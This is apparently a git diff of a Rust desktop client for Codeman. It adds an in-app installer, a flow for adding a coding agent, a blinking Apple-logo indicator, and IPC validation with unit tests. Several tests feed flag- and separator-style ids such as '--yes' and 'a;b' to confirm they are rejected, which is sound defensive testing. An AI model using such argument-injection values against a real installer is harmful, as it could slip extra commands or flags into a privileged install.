/// What `codeman` (or `SCRIPT` failing to find it) said, for the connect page.
@@ -143,8 +143,18 @@ fn pump<R: Read + Send + 'static>(pipe: Option<R>, stream: usize, tx: mpsc::Send
});
}
/// Run `cmd` to completion with stdin closed, or kill it at `deadline`.
fn exec(mut cmd: Command, deadline: Instant) -> Result<Output, String> {
/// `exec_bounded` for a start.
fn exec(cmd: Command, deadline: Instant) -> Result<Output, String> {
exec_bounded(
cmd,
deadline,
"Starting Codeman took longer than a minute; it was stopped.",
)
}
/// Run `cmd` to completion with stdin closed, or kill it at `deadline` and
/// answer `timed_out`.
pub fn exec_bounded(mut cmd: Command, deadline: Instant, timed_out: &str) -> Result<Output, String> {
cmd.stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped());
let mut child = cmd
.spawn()
@@ -168,7 +178,7 @@ fn exec(mut cmd: Command, deadline: Instant) -> Result<Output, String> {
Ok(None) => {
let _ = child.kill();
let _ = child.wait();
return Err("Starting Codeman took longer than a minute; it was stopped.".into());
return Err(timed_out.to_string());
}
Err(e) => return Err(e.to_string()),
}
@@ -275,6 +285,17 @@ fn capture_env(
}))
}
/// The login shell's environment, for a process the app runs without it (the
/// graphical install). `None` when the shell reports none.
pub fn login_environment() -> Option<Vec<(String, String)>> {
let shell = login_shell();
let flags: &[&str] = match flavor(&shell) {
Flavor::Posix => &["-l", "-c"],
Flavor::Capture(attempts) => attempts.first().copied().unwrap_or(&["-c"]),
};
capture_env(&shell, flags, Instant::now() + FIND_TIMEOUT).ok()?.ok()
}
/// Run `cmd` in the home folder, where a terminal and the LaunchAgent start
/// Codeman too. The server keeps the directory it was started in and uses it
/// as the default for a session that names none; an app opened from the Finder
File diff suppressed because it is too large. Load diff
+195 -3
View File
@@ -6,8 +6,9 @@
//! installs Codeman on this machine (`setup`, `local_server`) and installs it
//! on another one over SSH, real full screen, native menus, pop-outs as app
//! windows (Codeman's `window.CodemanHost` bridge), downloads to ~/Downloads,
//! passwords in the Keychain, and on macOS the JavaScript dialogs and HTTP
//! Basic challenges wry leaves out (`macos`).
//! passwords in the Keychain, on macOS the JavaScript dialogs and HTTP Basic
//! challenges wry leaves out (`macos`), and on a MacBook Pro with a lit Apple
//! logo a blink that says what the agents are doing (`logo`).
//!
//! Every URL and message decision is in `policy` (pure, unit-tested); this file
//! only wires those decisions to windows. The main window moves through
@@ -19,10 +20,13 @@
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
mod agents;
mod assets;
mod config;
mod credentials;
mod gui_install;
mod local_server;
mod logo;
#[cfg(target_os = "macos")]
mod macos;
mod policy;
@@ -34,7 +38,8 @@ use std::collections::{HashMap, VecDeque};
use std::path::PathBuf;
use std::process::Command;
use std::rc::Rc;
use std::sync::Mutex;
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::{Arc, Mutex};
use std::time::{Duration, Instant};
use muda::accelerator::{Accelerator, Code, Modifiers};
@@ -51,6 +56,7 @@ use wry::{NewWindowResponse, PageLoadEvent, PermissionResponse, WebView, WebView
use config::{Config, Rect, WindowFrame};
use credentials::Keychain;
use logo::{BlinkStyle, Signal};
use policy::{ConnectCmd, HostCmd, Ipc, Navigation, NewWindow, OpenBudget, Phase, Recovery, Via};
use probe::ProbeOutcome;
@@ -96,10 +102,12 @@ const AUTH_RATE_LIMITED: &str = "Too many failed logins from this address. The s
enter it again (a single-user Codeman accepts the right password at once), or wait up to 15 minutes.";
const KEYCHAIN_UNREADABLE: &str = "The saved password could not be read from the Keychain. Enter it again.";
const PAGE_KEEPS_STOPPING: &str = "Codeman's page stopped twice in a row, so it was closed. Connect again.";
const LOGO_SWITCHED_OFF: &str = "The Apple logo is switched off on this Mac, so it cannot blink.";
const START_REFUSED: &str = "Codeman can only be started here for an http://127.0.0.1 or http://localhost address.";
mod menu_id {
pub const SWITCH: &str = "switch-server";
pub const ADD_AGENT: &str = "add-agent";
pub const RELOAD: &str = "reload";
pub const START_FULLSCREEN: &str = "start-fullscreen";
pub const DEVTOOLS: &str = "devtools";
@@ -234,6 +242,9 @@ struct AppMenu {
window_menu: Submenu,
help_menu: Submenu,
start_fullscreen: CheckMenuItem,
/// One item per state and style. Empty on a Mac without a lit logo, which has no
/// such menu.
logo_styles: Vec<(Signal, BlinkStyle, CheckMenuItem)>,
}
enum Load<'a> {
@@ -286,12 +297,24 @@ struct App {
menu: AppMenu,
/// The one Keychain worker; every Keychain job goes through its queue.
keychain: Keychain,
/// Which reader of the install's output is the current one.
install_reader: Arc<AtomicU64>,
/// The connect page opens the agent chooser when it next loads: the menu
/// asked for it from a Codeman page.
add_agent_on_load: bool,
/// While the main window may still have to be put into the full screen it
/// asked for at launch: when to look next, and how many retries were made.
fullscreen_retry: Option<(Instant, u8)>,
/// The child that watches the connected server and blinks the logo.
logo_watch: logo::Watcher,
}
fn main() {
// The blinker is this binary without a window (logo.rs).
if std::env::args().nth(1).as_deref() == Some(logo::BLINK_ARG) {
logo::blink_main();
}
let event_loop = EventLoopBuilder::<UserEvent>::with_user_event().build();
let proxy = event_loop.create_proxy();
@@ -320,6 +343,7 @@ fn main() {
};
let config_path = config_path.filter(|_| can_save);
let notice = (!can_save).then(|| SETTINGS_UNREADABLE.to_string());
logo::recover_at_launch();
let menu = build_menu(&config).unwrap_or_else(|e| fatal(&format!("Could not build the menu: {e}")));
let phase = Rc::new(RefCell::new(Phase::Connect));
// Started once: the probe workers and the event loop share this queue,
@@ -370,7 +394,10 @@ fn main() {
downloads: HashMap::new(),
menu,
keychain,
install_reader: Arc::new(AtomicU64::new(0)),
add_agent_on_load: false,
fullscreen_retry: wants_fullscreen.then(|| (Instant::now() + FULLSCREEN_FIRST_CHECK, 0)),
logo_watch: logo::Watcher::default(),
};
event_loop.run(move |event, target, control_flow| app.handle(event, target, control_flow));
@@ -406,6 +433,7 @@ fn build_menu(config: &Config) -> muda::Result<AppMenu> {
&about,
&PredefinedMenuItem::separator(),
&switch,
&MenuItem::with_id(menu_id::ADD_AGENT, "Add a Coding Agent to This Mac\u{2026}", true, None),
&PredefinedMenuItem::separator(),
&PredefinedMenuItem::services(None),
&PredefinedMenuItem::separator(),
@@ -459,6 +487,26 @@ fn build_menu(config: &Config) -> muda::Result<AppMenu> {
),
],
)?;
// Only a Mac with a lit Apple logo has this menu at all.
let mut logo_styles = Vec::new();
if logo::available() {
let submenu = Submenu::new("Blink Apple Logo", true);
for signal in Signal::ALL {
let group = Submenu::new(signal.label(), true);
for style in BlinkStyle::ALL {
let chosen = style == config.logo_blink.get(signal);
let item = CheckMenuItem::with_id(style.menu_id(signal), style.label(), true, chosen, None);
group.append(&item)?;
if style == BlinkStyle::Off {
group.append(&PredefinedMenuItem::separator())?;
}
logo_styles.push((signal, style, item));
}
submenu.append(&group)?;
}
// Right under "Always Open in Full Screen", before the separator.
view.insert(&submenu, 4)?;
}
let window_menu = Submenu::with_items(
"Window",
true,
@@ -485,6 +533,7 @@ fn build_menu(config: &Config) -> muda::Result<AppMenu> {
window_menu,
help_menu,
start_fullscreen,
logo_styles,
})
}
@@ -925,6 +974,7 @@ impl App {
if let Some(next) = next {
*self.phase.borrow_mut() = next;
}
self.sync_logo_watch();
}
if let Some(w) = self.windows.get_mut(&window) {
w.committed = Url::parse(&url).ok();
@@ -1102,9 +1152,45 @@ impl App {
}
}
/// The logo is watched while any style is chosen and a server is open.
fn sync_logo_watch(&mut self) {
let styles = self.config.logo_blink;
let phase = self.phase.borrow();
let server = phase.loaded().filter(|_| styles.any() && logo::available());
self.logo_watch
.sync(server.map(|url| (url.as_str(), self.auth.as_deref(), styles)));
}
fn choose_logo_blink(&mut self, signal: Signal, style: BlinkStyle) {
// A click flips the item it landed on, the chosen one included, so all
// of that state's are set.
for (item_signal, item_style, item) in &self.menu.logo_styles {
if *item_signal == signal {
item.set_checked(*item_style == style);
}
}
let was_off = !self.config.logo_blink.any();
self.config.logo_blink.set(signal, style);
self.config_dirty = true;
self.sync_logo_watch();
// Only from off: with a style running, a dark logo may be our own.
if was_off && style != BlinkStyle::Off && logo::switched_off() {
if let Some(main) = self.windows.get(&self.main_id) {
let _ = main
.webview
.evaluate_script(&assets::toast_script(LOGO_SWITCHED_OFF, "warning"));
}
}
}
fn on_menu(&mut self, id: &str) {
if let Some((signal, style)) = BlinkStyle::from_menu_id(id) {
self.choose_logo_blink(signal, style);
return;
}
match id {
menu_id::SWITCH => self.show_connect_page(None, true),
menu_id::ADD_AGENT => self.add_agent(),
menu_id::RELOAD => self.reload_focused(),
menu_id::START_FULLSCREEN => {
let value = self.menu.start_fullscreen.is_checked();
@@ -1242,6 +1328,76 @@ impl App {
});
}
}
ConnectCmd::InstallPrepare => {
if choosing {
self.in_background(|| match gui_install::prepare() {
Ok(plan) => json!({ "type": "installPlan", "plan": plan }),
Err(message) => json!({ "type": "installPrepareFailed", "message": message }),
});
}
}
ConnectCmd::InstallStart {
network_password,
ai_cli,
} => {
if choosing {
let proxy = self.proxy.clone();
let stale = self.next_install_reader();
std::thread::spawn(move || {
let plan = gui_install::Plan {
port: setup::pick_install_port(),
network_password,
ai_cli,
};
let send = |msg| {
let _ = proxy.send_event(UserEvent::ToConnectPage(msg));
};
match gui_install::start(&plan) {
Ok(()) => {
send(json!({ "type": "installRunning", "port": plan.port }));
gui_install::follow(gui_install::Run::Codeman, stale, send);
}
Err(message) => send(json!({ "type": "installStartFailed", "message": message })),
}
});
}
}
ConnectCmd::InstallAttach => {
if choosing {
self.attach_to_run(gui_install::Run::Codeman);
}
}
ConnectCmd::InstallCancel => {
std::thread::spawn(gui_install::cancel);
}
ConnectCmd::AgentPrepare => {
if choosing {
self.in_background(|| match gui_install::prepare_agent() {
Ok(plan) => json!({ "type": "installPlan", "plan": plan }),
Err(message) => json!({ "type": "installPrepareFailed", "message": message }),
});
}
}
ConnectCmd::AgentStart { ai_cli } => {
if choosing {
let proxy = self.proxy.clone();
let stale = self.next_install_reader();
std::thread::spawn(move || {
let send = |msg| {
let _ = proxy.send_event(UserEvent::ToConnectPage(msg));
};
match gui_install::start_agent(&ai_cli) {
Ok(()) => gui_install::follow(gui_install::Run::Agent, stale, send),
Err(message) => send(json!({ "type": "installStartFailed", "message": message })),
}
});
}
}
ConnectCmd::AgentAttach => {
if choosing {
self.attach_to_run(gui_install::Run::Agent);
}
}
ConnectCmd::InstallRemote { target } => {
if choosing {
match setup::SshTarget::parse(&target) {
@@ -1273,6 +1429,40 @@ impl App {
}
}
/// A new reader of the install's output replaces the one before it: the
/// answer is how that new reader learns it was replaced in turn.
/// Report a run that is going already to the page, from its first line.
fn attach_to_run(&self, run: gui_install::Run) {
let proxy = self.proxy.clone();
let stale = self.next_install_reader();
std::thread::spawn(move || {
gui_install::follow(run, stale, |msg| {
let _ = proxy.send_event(UserEvent::ToConnectPage(msg));
});
});
}
/// The agent chooser lives on the connect page: from a Codeman page, this
/// leaves it the way Switch Server does.
fn add_agent(&mut self) {
if matches!(*self.phase.borrow(), Phase::Connect) {
if let Some(main) = self.windows.get(&self.main_id) {
main.window.set_visible(true);
main.window.set_focus();
}
self.to_connect_page(json!({ "type": "addAgent" }));
} else {
self.add_agent_on_load = true;
self.show_connect_page(None, true);
}
}
fn next_install_reader(&self) -> impl Fn() -> bool + Send + 'static {
let generation = self.install_reader.clone();
let mine = generation.fetch_add(1, Ordering::SeqCst) + 1;
move || generation.load(Ordering::SeqCst) != mine
}
/// Run `work` off the event loop (it may run a login shell, plutil,
/// Terminal or a probe) and hand what it returns to the connect page.
fn in_background(&self, work: impl FnOnce() -> serde_json::Value + Send + 'static) {
@@ -1284,6 +1474,7 @@ impl App {
fn send_init(&mut self) {
let notice = self.notice.take();
let add_agent = std::mem::take(&mut self.add_agent_on_load);
self.to_connect_page(json!({
"type": "init",
"servers": self.config.servers,
@@ -1292,6 +1483,7 @@ impl App {
"version": VERSION,
"starting": self.start_running(),
"notice": notice,
"addAgent": add_agent,
}));
}
+172
View File
@@ -609,6 +609,27 @@ pub enum ConnectCmd {
InstallLocal {
network: bool,
},
/// Fetch the installer and ask it what is on this Mac (gui_install).
InstallPrepare,
/// Run the graphical install. `network_password`: reachable from other
/// devices, with this password. `ai_cli`: an id in the shape of the
/// installer's catalogue, which checks it again.
InstallStart {
network_password: Option<String>,
ai_cli: Option<String>,
},
/// Show the graphical install that is running already.
InstallAttach,
/// Stop whichever graphical run is going.
InstallCancel,
/// Fetch the installer to add a coding agent to a Mac that has Codeman.
AgentPrepare,
/// Add this agent: an id in the shape of the installer's catalogue.
AgentStart {
ai_cli: String,
},
/// Show the agent install that is running already.
AgentAttach,
/// Run the installer on another machine over SSH, in Terminal. `target`
/// is what the user typed; setup::SshTarget::parse checks it.
InstallRemote {
@@ -663,6 +684,23 @@ enum RawConnect {
#[serde(default)]
network: bool,
},
InstallPrepare,
InstallStart {
// rename_all above reaches variant names only, and deny_unknown_fields
// would refuse the page's spelling of these.
#[serde(default, rename = "networkPassword")]
network_password: Option<String>,
#[serde(default, rename = "aiCli")]
ai_cli: Option<String>,
},
InstallAttach,
InstallCancel,
AgentPrepare,
AgentStart {
#[serde(rename = "aiCli")]
ai_cli: String,
},
AgentAttach,
InstallRemote {
target: String,
},
@@ -679,6 +717,17 @@ enum RawHost {
SessionExpired,
}
/// The shape of a CLI catalogue id. It becomes one argument of `install.sh`,
/// so it could not be read as a flag even without this: it must start with a
/// letter.
fn is_cli_id(id: &str) -> bool {
id.len() <= 32
&& id.starts_with(|c: char| c.is_ascii_lowercase())
&& id
.chars()
.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')
}
fn bounded(s: Option<String>, max: usize) -> Option<Option<String>> {
match s {
Some(v) if v.len() > max => None,
@@ -736,6 +785,24 @@ pub fn parse_ipc(frame_url: &str, body: &str, phase: &Phase, is_main_window: boo
RawConnect::OpenExternal { url } if url.len() <= MAX_URL_LEN => ConnectCmd::OpenExternal(url),
RawConnect::LocalStatus { quick, deep } => ConnectCmd::LocalStatus { quick, deep },
RawConnect::InstallLocal { network } => ConnectCmd::InstallLocal { network },
RawConnect::InstallPrepare => ConnectCmd::InstallPrepare,
RawConnect::InstallStart {
network_password,
ai_cli,
} => {
if ai_cli.as_deref().is_some_and(|id| !is_cli_id(id)) {
return None;
}
ConnectCmd::InstallStart {
network_password: bounded(network_password, MAX_FIELD_LEN)?.filter(|p| !p.is_empty()),
ai_cli,
}
}
RawConnect::InstallAttach => ConnectCmd::InstallAttach,
RawConnect::InstallCancel => ConnectCmd::InstallCancel,
RawConnect::AgentPrepare => ConnectCmd::AgentPrepare,
RawConnect::AgentStart { ai_cli } if is_cli_id(&ai_cli) => ConnectCmd::AgentStart { ai_cli },
RawConnect::AgentAttach => ConnectCmd::AgentAttach,
RawConnect::InstallRemote { target } if target.len() <= MAX_FIELD_LEN => {
ConnectCmd::InstallRemote { target }
}
@@ -1599,6 +1666,111 @@ mod tests {
assert_eq!(parse_ipc(page, r#"{"cmd":"installLocal"}"#, &loaded, true), None);
}
#[test]
fn ipc_graphical_install_commands() {
let page = "codemanapp://localhost/index.html";
let c = |body: &str| parse_ipc(page, body, &Phase::Connect, true);
assert_eq!(
c(r#"{"cmd":"installPrepare"}"#),
Some(Ipc::Connect(ConnectCmd::InstallPrepare))
);
assert_eq!(
c(r#"{"cmd":"installAttach"}"#),
Some(Ipc::Connect(ConnectCmd::InstallAttach))
);
assert_eq!(
c(r#"{"cmd":"installCancel"}"#),
Some(Ipc::Connect(ConnectCmd::InstallCancel))
);
// The spelling connect.html sends (test/desktop-connect-install.test.ts
// pins the page's side).
assert_eq!(
c(r#"{"cmd":"installStart","networkPassword":"s3cret","aiCli":"claude"}"#),
Some(Ipc::Connect(ConnectCmd::InstallStart {
network_password: Some("s3cret".into()),
ai_cli: Some("claude".into()),
}))
);
assert_eq!(
c(r#"{"cmd":"installStart"}"#),
Some(Ipc::Connect(ConnectCmd::InstallStart {
network_password: None,
ai_cli: None,
}))
);
// An empty password is no password: never a network install without one.
assert_eq!(
c(r#"{"cmd":"installStart","networkPassword":""}"#),
Some(Ipc::Connect(ConnectCmd::InstallStart {
network_password: None,
ai_cli: None,
}))
);
// Only the shape of an id: nothing that could read as a flag or more.
for id in ["--yes", "-y", "Claude", "a b", "a;b", "", "a/b"] {
assert_eq!(c(&format!(r#"{{"cmd":"installStart","aiCli":"{id}"}}"#)), None, "{id}");
}
let long = "a".repeat(33);
assert_eq!(c(&format!(r#"{{"cmd":"installStart","aiCli":"{long}"}}"#)), None);
let long = "a".repeat(MAX_FIELD_LEN + 1);
assert_eq!(
c(&format!(r#"{{"cmd":"installStart","networkPassword":"{long}"}}"#)),
None
);
// Nothing else rides along.
assert_eq!(c(r#"{"cmd":"installStart","args":["--yes"]}"#), None);
assert_eq!(c(r#"{"cmd":"installStart","ai_cli":"claude"}"#), None);
// Only the connect page, only in the main window, never a server page.
assert_eq!(
parse_ipc(page, r#"{"cmd":"installStart"}"#, &Phase::Connect, false),
None
);
let loaded = Phase::Loaded(u("http://127.0.0.1:3000/"));
assert_eq!(
parse_ipc("http://127.0.0.1:3000/", r#"{"cmd":"installStart"}"#, &loaded, true),
None
);
assert_eq!(parse_ipc(page, r#"{"cmd":"installCancel"}"#, &loaded, true), None);
}
#[test]
fn ipc_adding_a_coding_agent() {
let page = "codemanapp://localhost/index.html";
let c = |body: &str| parse_ipc(page, body, &Phase::Connect, true);
assert_eq!(
c(r#"{"cmd":"agentPrepare"}"#),
Some(Ipc::Connect(ConnectCmd::AgentPrepare))
);
assert_eq!(
c(r#"{"cmd":"agentAttach"}"#),
Some(Ipc::Connect(ConnectCmd::AgentAttach))
);
assert_eq!(
c(r#"{"cmd":"agentStart","aiCli":"codex"}"#),
Some(Ipc::Connect(ConnectCmd::AgentStart { ai_cli: "codex".into() }))
);
// It names one agent, in the shape of an id, and nothing else.
assert_eq!(c(r#"{"cmd":"agentStart"}"#), None);
for id in ["--service", "-y", "Codex", "a b", "a;b", "", "a/b"] {
assert_eq!(c(&format!(r#"{{"cmd":"agentStart","aiCli":"{id}"}}"#)), None, "{id}");
}
assert_eq!(c(r#"{"cmd":"agentStart","aiCli":"codex","port":3000}"#), None);
assert_eq!(
parse_ipc(page, r#"{"cmd":"agentStart","aiCli":"codex"}"#, &Phase::Connect, false),
None
);
let loaded = Phase::Loaded(u("http://127.0.0.1:3000/"));
assert_eq!(
parse_ipc(
"http://127.0.0.1:3000/",
r#"{"cmd":"agentStart","aiCli":"codex"}"#,
&loaded,
true
),
None
);
}
#[test]
fn ipc_from_connect_page() {
let page = "codemanapp://localhost/index.html";
+18 -11
View File
@@ -9,8 +9,8 @@ use serde::Serialize;
use std::time::Duration;
use url::Url;
const TIMEOUT: Duration = Duration::from_secs(5);
const MAX_BODY: u64 = 8 * 1024 * 1024;
pub const TIMEOUT: Duration = Duration::from_secs(5);
pub const MAX_BODY: u64 = 8 * 1024 * 1024;
/// The path the probe asks for, relative to the server's base URL.
const STATUS_PATH: &str = "api/status";
@@ -231,16 +231,13 @@ pub fn probe(server: &Url, authorization: Option<&str>) -> ProbeOutcome {
probe_within(server, authorization, TIMEOUT)
}
/// `probe` with the time the whole exchange may take.
fn probe_within(server: &Url, authorization: Option<&str>, timeout: Duration) -> ProbeOutcome {
let status_url = match server.join(STATUS_PATH) {
Ok(u) => u,
Err(e) => return ProbeOutcome::Failed { detail: e.to_string() },
};
/// The app's one way of asking a server something: the OS's certificate trust,
/// a bound on the whole exchange, and status codes as answers.
pub fn agent(timeout: Duration) -> ureq::Agent {
let tls = ureq::tls::TlsConfig::builder()
.root_certs(ureq::tls::RootCerts::PlatformVerifier)
.build();
let agent: ureq::Agent = ureq::Agent::config_builder()
ureq::Agent::config_builder()
.timeout_global(Some(timeout))
.http_status_as_error(false)
// Never follow: a 3xx comes back as an answer and is explained.
@@ -248,8 +245,18 @@ fn probe_within(server: &Url, authorization: Option<&str>, timeout: Duration) ->
.tls_config(tls)
.user_agent(concat!("CodemanDesktop/", env!("CARGO_PKG_VERSION")))
.build()
.into();
let mut req = agent.get(status_url.as_str()).header("Accept", "application/json");
.into()
}
/// `probe` with the time the whole exchange may take.
pub fn probe_within(server: &Url, authorization: Option<&str>, timeout: Duration) -> ProbeOutcome {
let status_url = match server.join(STATUS_PATH) {
Ok(u) => u,
Err(e) => return ProbeOutcome::Failed { detail: e.to_string() },
};
let mut req = agent(timeout)
.get(status_url.as_str())
.header("Accept", "application/json");
if let Some(auth) = authorization {
req = req.header("Authorization", auth);
}
+627 -104
View File
@@ -1,12 +1,13 @@
//! The connect screen's "This Mac" tab and its installs: where the Codeman on
//! this Mac listens, whether it is installed, its login, and the installer runs
//! for this Mac and for another machine over SSH.
//! The connect screen's "This Mac" tab and its Terminal installs: where the
//! Codeman on this Mac listens, whether it is installed, its login, which
//! other Codeman servers of this user run here, and the installer runs in
//! Terminal for this Mac and for another machine over SSH.
//! The install most people get runs in the app, in `gui_install.rs`.
//!
//! The installer always runs in Terminal, never inside the app. `install.sh`
//! asks for the administrator password on a terminal (Homebrew, its sudo
//! keep-alive), the Xcode tools arrive as a system dialog, and ssh asks about
//! host keys and passwords on a terminal too: a run without one fails on the
//! first fresh Mac. So the app writes a small script that deletes itself and
//! The Terminal route is for what that one cannot do. `install.sh` asks for
//! the administrator password on a terminal (Homebrew, its sudo keep-alive),
//! the Xcode tools arrive as a system dialog, and ssh asks about host keys and
//! passwords on a terminal too. So the app writes a small script that deletes itself and
//! hands it to Terminal (`open -b com.apple.Terminal`), which needs no
//! permission, unlike scripting Terminal through osascript (an Automation
//! prompt). Everything the scripts contain is built here and unit-tested; the
@@ -24,12 +25,22 @@ use std::time::Duration;
use serde::Serialize;
use url::Url;
use crate::gui_install;
use crate::local_server;
use crate::policy;
use crate::probe::{self, ProbeOutcome};
/// Codeman's published installer (a redirect to `install.sh` on master).
pub const INSTALLER_URL: &str = "https://getcodeman.com/install";
/// Codeman's published installer (a redirect to `install.sh` on master). A test
/// build of an installer change sets `CODEMAN_DESKTOP_INSTALLER_URL` when it is
/// compiled; a shipped app has no way to point this anywhere else, at runtime
/// or otherwise.
pub const INSTALLER_URL: &str = match option_env!("CODEMAN_DESKTOP_INSTALLER_URL") {
Some(url) => url,
None => "https://getcodeman.com/install",
};
/// The branch that test build installs Codeman from (`CODEMAN_BRANCH`).
pub const INSTALL_BRANCH: Option<&str> = option_env!("CODEMAN_DESKTOP_INSTALL_BRANCH");
/// What to paste into a terminal on another machine; the SSH install runs the
/// same thing there.
@@ -83,46 +94,65 @@ pub fn parse_service(job: &serde_json::Value) -> ServiceConfig {
.map(|a| a.iter().filter_map(|v| v.as_str()).collect())
.unwrap_or_default();
let mut port = var("CODEMAN_PORT");
let mut base = var("CODEMAN_BASE_URL");
let mut https = false;
// Only what follows the `web` subcommand: node's own flags come before it.
let after_web = args
.iter()
.position(|a| *a == "web")
.map_or(&[][..], |i| &args[i + 1..]);
let mut it = after_web.iter();
while let Some(arg) = it.next() {
match *arg {
"-p" | "--port" => port = it.next().map(|s| s.to_string()),
"--base-url" => base = it.next().map(|s| s.to_string()),
"--https" => https = true,
// Options that take a value: skip it, so it is never read as a flag.
"-H" | "--host" | "--title-hostname" => {
it.next();
}
other => {
if let Some(v) = other.strip_prefix("--port=") {
port = Some(v.to_string());
} else if let Some(v) = other.strip_prefix("--base-url=") {
base = Some(v.to_string());
}
}
}
let flags = WebFlags {
port: var("CODEMAN_PORT"),
base: var("CODEMAN_BASE_URL"),
https: false,
}
.read(after_web);
ServiceConfig {
port: port
port: flags
.port
.and_then(|p| p.trim().parse::<u16>().ok())
.filter(|p| *p > 0)
.unwrap_or(DEFAULT_PORT),
base_path: normalize_base_path(base.as_deref().unwrap_or("")),
https,
base_path: normalize_base_path(flags.base.as_deref().unwrap_or("")),
https: flags.https,
username: var("CODEMAN_USERNAME"),
password: var("CODEMAN_PASSWORD"),
daemon: false,
}
}
/// What Codeman's `web` command takes from the arguments after `web`
/// (src/cli.ts). The fields start as what the environment says, or empty.
#[derive(Debug, Default)]
struct WebFlags {
port: Option<String>,
base: Option<String>,
https: bool,
}
impl WebFlags {
fn read(mut self, after_web: &[&str]) -> Self {
let mut it = after_web.iter();
while let Some(arg) = it.next() {
match *arg {
"-p" | "--port" => self.port = it.next().map(|s| s.to_string()),
"--base-url" => self.base = it.next().map(|s| s.to_string()),
"--https" => self.https = true,
// Options that take a value: skip it, so it is never read as a flag.
"-H" | "--host" | "--title-hostname" => {
it.next();
}
other => {
if let Some(v) = other.strip_prefix("--port=") {
self.port = Some(v.to_string());
} else if let Some(v) = other.strip_prefix("--base-url=") {
self.base = Some(v.to_string());
}
}
}
}
self
}
}
/// Codeman's `normalizeBasePath`, plus its character check: a value Codeman
/// would refuse at startup counts as the root here.
fn normalize_base_path(input: &str) -> String {
@@ -289,7 +319,7 @@ pub fn local_login(url: &Url) -> Option<(String, String)> {
}
/// This user's processes, as `ps` lists them: (pid, command line).
fn list_processes() -> Vec<(u32, String)> {
pub fn list_processes() -> Vec<(u32, String)> {
let Ok(out) = Command::new("/bin/ps")
.args(["-x", "-ww", "-o", "pid=", "-o", "command="])
.stdin(Stdio::null())
@@ -315,6 +345,12 @@ fn parse_ps(text: &str) -> Vec<(u32, String)> {
/// `install.sh` clone's `dist/index.js web`, a source checkout's
/// `src/index.ts web`), not one of its short-lived control commands.
pub fn is_codeman_server(command: &str) -> bool {
server_args(command).is_some()
}
/// What follows `web` on a Codeman server's command line, or None for any
/// other command.
fn server_args(command: &str) -> Option<Vec<&str>> {
let words: Vec<&str> = command.split_whitespace().collect();
let is_entry = |w: &str| {
let name = w.rsplit('/').next().unwrap_or(w);
@@ -322,16 +358,18 @@ pub fn is_codeman_server(command: &str) -> bool {
};
// Any entry word that `web` follows: an earlier word may only look like
// one (a folder named codeman in `tsx watch --cwd ~/codeman src/index.ts web`).
(0..words.len()).any(|i| {
is_entry(words[i])
&& words.get(i + 1) == Some(&"web")
&& !words[i + 1..].iter().any(|w| matches!(*w, "--stop" | "--status"))
})
(0..words.len())
.find(|&i| {
is_entry(words[i])
&& words.get(i + 1) == Some(&"web")
&& !words[i + 1..].iter().any(|w| matches!(*w, "--stop" | "--status"))
})
.map(|i| words[i + 2..].to_vec())
}
/// Whether a command line is an install the app started on this Mac (the
/// Terminal script, or the installer it downloaded), and the port it asked
/// for once the installer runs.
/// Terminal script, the installer it downloaded, or the graphical install), and
/// the port it asked for once the installer runs.
pub fn install_in_progress(command: &str) -> Option<Option<u16>> {
let words: Vec<&str> = command.split_whitespace().collect();
let name = |w: &&str| w.rsplit('/').next().unwrap_or(w).to_string();
@@ -341,7 +379,7 @@ pub fn install_in_progress(command: &str) -> Option<Option<u16>> {
}) {
return Some(None);
}
if words.iter().any(|w| name(w).starts_with("codeman-install.")) {
if words.iter().any(|w| name(w).starts_with("codeman-install.")) || gui_install::Run::Codeman.matches(command) {
let port = words
.iter()
.position(|w| *w == "--port")
@@ -428,14 +466,138 @@ fn serves_loopback_port(found: &[Listener], port: u16) -> bool {
.any(|l| l.port == port && matches!(l.host.as_str(), "*" | "127.0.0.1" | "0.0.0.0"))
}
/// The address a listener is reached at: 127.0.0.1 for a loopback or
/// all-interfaces bind, else its own address.
fn listener_url(l: &Listener) -> Option<Url> {
let host = match l.host.as_str() {
"*" | "0.0.0.0" => "127.0.0.1",
h => h,
/// Where the app can try each of this user's Codeman servers, from their
/// command lines (`procs`) and listening sockets. `default` is the address the
/// app opens by default (local_url); it comes first, then the others by port.
///
/// One address per server and port: 127.0.0.1 when the server listens there
/// or on every interface, `[::1]` when its only loopback socket is the IPv6
/// one, else each address it is bound to. A socket beside a loopback one on
/// the same port is left out (the Docker bridge listener, which serves hook
/// endpoints only). `https` when the command line carries `--https`, and its
/// `--base-url` is the path. `ps` does not show a base path kept in the
/// environment, which is where install.sh's launchd job keeps it, so a server
/// at the default address with no `--base-url` of its own is the default one.
pub fn found_addresses(procs: &[(u32, String)], listeners: &[Listener], default: &Url) -> Vec<Url> {
let mut urls: Vec<Url> = Vec::new();
for (pid, command) in procs {
let Some(args) = server_args(command) else {
continue;
};
let flags = WebFlags::default().read(&args);
let scheme = if flags.https { "https" } else { "http" };
let base = flags.base.as_deref().map(normalize_base_path);
let own: Vec<&Listener> = listeners.iter().filter(|l| l.pid == *pid).collect();
for l in &own {
let beside = |hosts: &[&str]| own.iter().any(|o| o.port == l.port && hosts.contains(&o.host.as_str()));
let host = if beside(&["*", "0.0.0.0", "[::]", "127.0.0.1"]) {
"127.0.0.1"
} else if beside(&["[::1]"]) {
"[::1]"
} else {
l.host.as_str()
};
let path = base.as_deref().unwrap_or("");
let Ok(mut url) = Url::parse(&format!("{scheme}://{host}:{}{path}/", l.port)) else {
continue;
};
if base.is_none() && policy::same_origin(&url, default) {
url = default.clone();
}
if !urls.contains(&url) {
urls.push(url);
}
}
}
urls.sort_by_key(|u| (u != default, u.port_or_known_default(), u.to_string()));
urls
}
/// What the This Mac tab says about one found server.
#[derive(Debug, Clone, Copy, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub enum FoundState {
/// Codeman answers there: Connect opens it.
Running,
/// Codeman answers there and wants a login.
NeedsLogin,
/// It serves HTTPS with a certificate the app refuses (Codeman's own
/// self-signed one, from `codeman web --https`).
Certificate,
/// Codeman does not answer there.
Unreachable,
}
/// One of this user's Codeman servers on this Mac, for the This Mac tab's
/// rows.
#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct FoundServer {
/// Where the app can try it (found_addresses).
pub url: String,
pub version: Option<String>,
pub state: FoundState,
/// It is at the address the app opens by default (local_url).
pub is_default: bool,
}
/// The row for the server at `url`, from what it answered.
